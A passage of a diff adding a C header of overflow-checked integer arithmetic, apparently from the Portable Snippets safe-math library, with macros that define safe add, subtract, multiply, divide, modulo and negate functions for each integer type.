+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LLONG_MAX, 0x7fffffffLL)
+typedef psnip_int32_t psnip_safe_llong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(LLONG_MAX, 0x7fffffffffffffffLL)
+typedef psnip_int64_t psnip_safe_llong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (LLONG_MAX <= 0x7fffffffffffffffLL)
+typedef psnip_safe_int128_t psnip_safe_llong_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_LLONG
+#endif
+
+#define PSNIP_SAFE_HAVE_LARGER_ULLONG
+#if !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULLONG_MAX, 0xffff)
+typedef psnip_uint16_t psnip_safe_ullong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULLONG_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_ullong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(ULLONG_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_ullong_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (ULLONG_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_ullong_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_ULLONG
+#endif
+
+#if defined(PSNIP_SAFE_SIZE_MAX)
+#define PSNIP_SAFE_HAVE_LARGER_SIZE
+#if PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, USHRT_MAX)
+typedef unsigned short psnip_safe_size_larger;
+#elif PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, UINT_MAX)
+typedef unsigned int psnip_safe_size_larger;
+#elif PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, ULONG_MAX)
+typedef unsigned long psnip_safe_size_larger;
+#elif PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, ULLONG_MAX)
+typedef unsigned long long psnip_safe_size_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, 0xffff)
+typedef psnip_uint16_t psnip_safe_size_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, 0xffffffffUL)
+typedef psnip_uint32_t psnip_safe_size_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && PSNIP_SAFE_IS_LARGER(PSNIP_SAFE_SIZE_MAX, 0xffffffffffffffffULL)
+typedef psnip_uint64_t psnip_safe_size_larger;
+#elif !defined(PSNIP_SAFE_NO_FIXED) && defined(PSNIP_SAFE_HAVE_128) && (PSNIP_SAFE_SIZE_MAX <= 0xffffffffffffffffULL)
+typedef psnip_safe_uint128_t psnip_safe_size_larger;
+#else
+#undef PSNIP_SAFE_HAVE_LARGER_SIZE
+#endif
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_SCHAR)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(signed char, schar)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_UCHAR)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(unsigned char, uchar)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_CHAR)
+#if CHAR_MIN == 0
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(char, char)
+#else
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(char, char)
+#endif
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_SHORT)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(short, short)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_USHORT)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(unsigned short, ushort)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_INT)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(int, int)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_UINT)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(unsigned int, uint)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_LONG)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(long, long)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_ULONG)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(unsigned long, ulong)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_LLONG)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(long long, llong)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_ULLONG)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(unsigned long long, ullong)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_LARGER_SIZE)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(size_t, size)
+#endif
+
+#if !defined(PSNIP_SAFE_NO_FIXED)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(psnip_int8_t, int8)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(psnip_uint8_t, uint8)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(psnip_int16_t, int16)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(psnip_uint16_t, uint16)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(psnip_int32_t, int32)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(psnip_uint32_t, uint32)
+#if defined(PSNIP_SAFE_HAVE_128)
+PSNIP_SAFE_DEFINE_LARGER_SIGNED_OPS(psnip_int64_t, int64)
+PSNIP_SAFE_DEFINE_LARGER_UNSIGNED_OPS(psnip_uint64_t, uint64)
+#endif
+#endif
+
+#endif /* !defined(PSNIP_SAFE_NO_PROMOTIONS) */
+
+#define PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(T, name, op_name) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_##op_name(T* res, T a, T b) { \
+ return !__builtin_##op_name##_overflow(a, b, res); \
+ }
+
+#define PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(T, name, op_name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_##op_name(T* res, T a, T b) { \
+ const psnip_safe_##name##_larger r = psnip_safe_larger_##name##_##op_name(a, b); \
+ *res = (T) r; \
+ return (r >= min) && (r <= max); \
+ }
+
+#define PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(T, name, op_name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_##op_name(T* res, T a, T b) { \
+ const psnip_safe_##name##_larger r = psnip_safe_larger_##name##_##op_name(a, b); \
+ *res = (T) r; \
+ return (r <= max); \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_ADD(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_add (T* res, T a, T b) { \
+ psnip_safe_bool r = !( ((b > 0) && (a > (max - b))) || \
+ ((b < 0) && (a < (min - b))) ); \
+ if(PSNIP_SAFE_LIKELY(r)) \
+ *res = a + b; \
+ return r; \
+ }
+
+#define PSNIP_SAFE_DEFINE_UNSIGNED_ADD(T, name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_add (T* res, T a, T b) { \
+ *res = (T) (a + b); \
+ return !PSNIP_SAFE_UNLIKELY((b > 0) && (a > (max - b))); \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_SUB(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_sub (T* res, T a, T b) { \
+ psnip_safe_bool r = !((b > 0 && a < (min + b)) || \
+ (b < 0 && a > (max + b))); \
+ if(PSNIP_SAFE_LIKELY(r)) \
+ *res = a - b; \
+ return r; \
+ }
+
+#define PSNIP_SAFE_DEFINE_UNSIGNED_SUB(T, name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_sub (T* res, T a, T b) { \
+ *res = a - b; \
+ return !PSNIP_SAFE_UNLIKELY(b > a); \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_MUL(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_mul (T* res, T a, T b) { \
+ psnip_safe_bool r = 1; \
+ if (a > 0) { \
+ if (b > 0) { \
+ if (a > (max / b)) { \
+ r = 0; \
+ } \
+ } else { \
+ if (b < (min / a)) { \
+ r = 0; \
+ } \
+ } \
+ } else { \
+ if (b > 0) { \
+ if (a < (min / b)) { \
+ r = 0; \
+ } \
+ } else { \
+ if ( (a != 0) && (b < (max / a))) { \
+ r = 0; \
+ } \
+ } \
+ } \
+ if(PSNIP_SAFE_LIKELY(r)) \
+ *res = a * b; \
+ return r; \
+ }
+
+#define PSNIP_SAFE_DEFINE_UNSIGNED_MUL(T, name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_mul (T* res, T a, T b) { \
+ *res = (T) (a * b); \
+ return !PSNIP_SAFE_UNLIKELY((a > 0) && (b > 0) && (a > (max / b))); \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_DIV(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_div (T* res, T a, T b) { \
+ if (PSNIP_SAFE_UNLIKELY(b == 0)) { \
+ *res = 0; \
+ return 0; \
+ } else if (PSNIP_SAFE_UNLIKELY(a == min && b == -1)) { \
+ *res = min; \
+ return 0; \
+ } else { \
+ *res = (T) (a / b); \
+ return 1; \
+ } \
+ }
+
+#define PSNIP_SAFE_DEFINE_UNSIGNED_DIV(T, name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_div (T* res, T a, T b) { \
+ if (PSNIP_SAFE_UNLIKELY(b == 0)) { \
+ *res = 0; \
+ return 0; \
+ } else { \
+ *res = a / b; \
+ return 1; \
+ } \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_MOD(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_mod (T* res, T a, T b) { \
+ if (PSNIP_SAFE_UNLIKELY(b == 0)) { \
+ *res = 0; \
+ return 0; \
+ } else if (PSNIP_SAFE_UNLIKELY(a == min && b == -1)) { \
+ *res = min; \
+ return 0; \
+ } else { \
+ *res = (T) (a % b); \
+ return 1; \
+ } \
+ }
+
+#define PSNIP_SAFE_DEFINE_UNSIGNED_MOD(T, name, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_mod (T* res, T a, T b) { \
+ if (PSNIP_SAFE_UNLIKELY(b == 0)) { \
+ *res = 0; \
+ return 0; \
+ } else { \
+ *res = a % b; \
+ return 1; \
+ } \
+ }
+
+#define PSNIP_SAFE_DEFINE_SIGNED_NEG(T, name, min, max) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_neg (T* res, T value) { \
+ psnip_safe_bool r = value != min; \
+ *res = PSNIP_SAFE_LIKELY(r) ? -value : max; \
+ return r; \
+ }
+
+#define PSNIP_SAFE_DEFINE_INTSAFE(T, name, op, isf) \
+ PSNIP_SAFE__FUNCTION psnip_safe_bool \
+ psnip_safe_##name##_##op (T* res, T a, T b) { \
+ return isf(a, b, res) == S_OK; \
+ }
+
+#if CHAR_MIN == 0
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_CHAR)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(char, char, add, CHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(char, char, sub, CHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(char, char, mul, CHAR_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(char, char, CHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(char, char, CHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(char, char, CHAR_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(char, char, CHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(char, char, CHAR_MAX)
+#else /* CHAR_MIN != 0 */
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(char, char, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_CHAR)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(char, char, add, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(char, char, sub, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(char, char, mul, CHAR_MIN, CHAR_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(char, char, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(char, char, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(char, char, CHAR_MIN, CHAR_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(char, char, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(char, char, CHAR_MIN, CHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(char, char, CHAR_MIN, CHAR_MAX)
+#endif
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(signed char, schar, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(signed char, schar, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(signed char, schar, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_SCHAR)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(signed char, schar, add, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(signed char, schar, sub, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(signed char, schar, mul, SCHAR_MIN, SCHAR_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(signed char, schar, SCHAR_MIN, SCHAR_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned char, uchar, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned char, uchar, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned char, uchar, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UCHAR)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned char, uchar, add, UCHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned char, uchar, sub, UCHAR_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned char, uchar, mul, UCHAR_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(unsigned char, uchar, UCHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(unsigned char, uchar, UCHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(unsigned char, uchar, UCHAR_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(unsigned char, uchar, UCHAR_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(unsigned char, uchar, UCHAR_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(short, short, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(short, short, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(short, short, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_SHORT)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(short, short, add, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(short, short, sub, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(short, short, mul, SHRT_MIN, SHRT_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(short, short, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(short, short, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(short, short, SHRT_MIN, SHRT_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(short, short, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(short, short, SHRT_MIN, SHRT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(short, short, SHRT_MIN, SHRT_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned short, ushort, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned short, ushort, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned short, ushort, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned short, ushort, add, UShortAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned short, ushort, sub, UShortSub)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned short, ushort, mul, UShortMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_USHORT)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned short, ushort, add, USHRT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned short, ushort, sub, USHRT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned short, ushort, mul, USHRT_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(unsigned short, ushort, USHRT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(unsigned short, ushort, USHRT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(unsigned short, ushort, USHRT_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(unsigned short, ushort, USHRT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(unsigned short, ushort, USHRT_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(int, int, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(int, int, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(int, int, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_INT)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(int, int, add, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(int, int, sub, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(int, int, mul, INT_MIN, INT_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(int, int, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(int, int, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(int, int, INT_MIN, INT_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(int, int, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(int, int, INT_MIN, INT_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(int, int, INT_MIN, INT_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned int, uint, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned int, uint, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned int, uint, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned int, uint, add, UIntAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned int, uint, sub, UIntSub)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned int, uint, mul, UIntMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_UINT)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned int, uint, add, UINT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned int, uint, sub, UINT_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned int, uint, mul, UINT_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(unsigned int, uint, UINT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(unsigned int, uint, UINT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(unsigned int, uint, UINT_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(unsigned int, uint, UINT_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(unsigned int, uint, UINT_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long, long, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long, long, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long, long, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_LONG)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long, long, add, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long, long, sub, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long, long, mul, LONG_MIN, LONG_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(long, long, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(long, long, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(long, long, LONG_MIN, LONG_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(long, long, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(long, long, LONG_MIN, LONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(long, long, LONG_MIN, LONG_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long, ulong, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long, ulong, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long, ulong, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long, ulong, add, ULongAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long, ulong, sub, ULongSub)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long, ulong, mul, ULongMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_ULONG)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long, ulong, add, ULONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long, ulong, sub, ULONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long, ulong, mul, ULONG_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(unsigned long, ulong, ULONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(unsigned long, ulong, ULONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(unsigned long, ulong, ULONG_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(unsigned long, ulong, ULONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(unsigned long, ulong, ULONG_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long long, llong, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long long, llong, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(long long, llong, mul)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_LLONG)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long long, llong, add, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long long, llong, sub, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_SIGNED_BINARY_OP(long long, llong, mul, LLONG_MIN, LLONG_MAX)
+#else
+PSNIP_SAFE_DEFINE_SIGNED_ADD(long long, llong, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_SUB(long long, llong, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MUL(long long, llong, LLONG_MIN, LLONG_MAX)
+#endif
+PSNIP_SAFE_DEFINE_SIGNED_DIV(long long, llong, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_MOD(long long, llong, LLONG_MIN, LLONG_MAX)
+PSNIP_SAFE_DEFINE_SIGNED_NEG(long long, llong, LLONG_MIN, LLONG_MAX)
+
+#if defined(PSNIP_SAFE_HAVE_BUILTIN_OVERFLOW)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long long, ullong, add)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long long, ullong, sub)
+PSNIP_SAFE_DEFINE_BUILTIN_BINARY_OP(unsigned long long, ullong, mul)
+#elif defined(PSNIP_SAFE_HAVE_INTSAFE_H)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long long, ullong, add, ULongLongAdd)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long long, ullong, sub, ULongLongSub)
+PSNIP_SAFE_DEFINE_INTSAFE(unsigned long long, ullong, mul, ULongLongMult)
+#elif defined(PSNIP_SAFE_HAVE_LARGER_ULLONG)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long long, ullong, add, ULLONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long long, ullong, sub, ULLONG_MAX)
+PSNIP_SAFE_DEFINE_PROMOTED_UNSIGNED_BINARY_OP(unsigned long long, ullong, mul, ULLONG_MAX)
+#else
+PSNIP_SAFE_DEFINE_UNSIGNED_ADD(unsigned long long, ullong, ULLONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_SUB(unsigned long long, ullong, ULLONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MUL(unsigned long long, ullong, ULLONG_MAX)
+#endif
+PSNIP_SAFE_DEFINE_UNSIGNED_DIV(unsigned long long, ullong, ULLONG_MAX)
+PSNIP_SAFE_DEFINE_UNSIGNED_MOD(unsigned long long, ullong, ULLONG_MAX)
+
